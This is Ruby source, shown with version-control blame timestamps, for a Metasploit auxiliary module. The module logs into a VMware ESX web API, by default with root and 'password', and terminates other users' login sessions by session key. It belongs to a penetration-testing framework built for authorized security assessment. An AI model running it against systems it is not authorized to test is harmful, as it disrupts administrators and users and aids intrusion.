2012-02-15 22:39:13 +00:00
|
|
|
##
|
|
|
|
# $Id$
|
|
|
|
##
|
|
|
|
|
|
|
|
##
|
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
2012-02-21 01:40:50 +00:00
|
|
|
# web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/
|
2012-02-15 22:39:13 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Auxiliary
|
|
|
|
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
|
|
include Msf::Auxiliary::Report
|
|
|
|
include Msf::Exploit::Remote::VIMSoap
|
|
|
|
|
|
|
|
def initialize
|
|
|
|
super(
|
|
|
|
'Name' => 'VMWare Terminate ESX Login Sessions',
|
|
|
|
'Description' => %Q{
|
2012-03-18 05:07:27 +00:00
|
|
|
This module will log into the Web API of VMWare and try to terminate
|
|
|
|
user login sessions as specified by the session keys.},
|
2012-02-15 22:39:13 +00:00
|
|
|
'Author' => ['TheLightCosine <thelightcosine[at]metasploit.com>'],
|
|
|
|
'License' => MSF_LICENSE
|
|
|
|
)
|
|
|
|
|
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
Opt::RPORT(443),
|
|
|
|
OptString.new('USERNAME', [ true, "The username to Authenticate with.", 'root' ]),
|
|
|
|
OptString.new('PASSWORD', [ true, "The password to Authenticate with.", 'password' ]),
|
2012-02-15 22:47:02 +00:00
|
|
|
OptString.new('KEYS', [true, "The session key to terminate"])
|
2012-02-15 22:39:13 +00:00
|
|
|
], self.class)
|
2012-03-16 00:06:48 +00:00
|
|
|
|
|
|
|
register_advanced_options([OptBool.new('SSL', [ false, 'Negotiate SSL for outgoing connections', true]),])
|
2012-02-15 22:39:13 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def run
|
|
|
|
|
|
|
|
if vim_do_login(datastore['USERNAME'], datastore['PASSWORD']) == :success
|
2012-02-15 22:50:12 +00:00
|
|
|
Shellwords.split(datastore['KEYS']).each do |key|
|
2012-02-15 22:47:02 +00:00
|
|
|
result = vim_terminate_session(key)
|
|
|
|
case result
|
|
|
|
when :notfound
|
|
|
|
print_error "The specified Session was not found. Check your key: #{key}"
|
|
|
|
when :success
|
|
|
|
print_good "The supplied session was terminated successfully: #{key}"
|
|
|
|
when :error
|
|
|
|
print_error "There was an error encountered terminating: #{key}"
|
|
|
|
end
|
2012-02-15 22:39:13 +00:00
|
|
|
end
|
|
|
|
else
|
2012-02-16 06:45:48 +00:00
|
|
|
print_error "Login Failure on #{datastore['RHOST']}"
|
2012-02-15 22:39:13 +00:00
|
|
|
return
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
end
|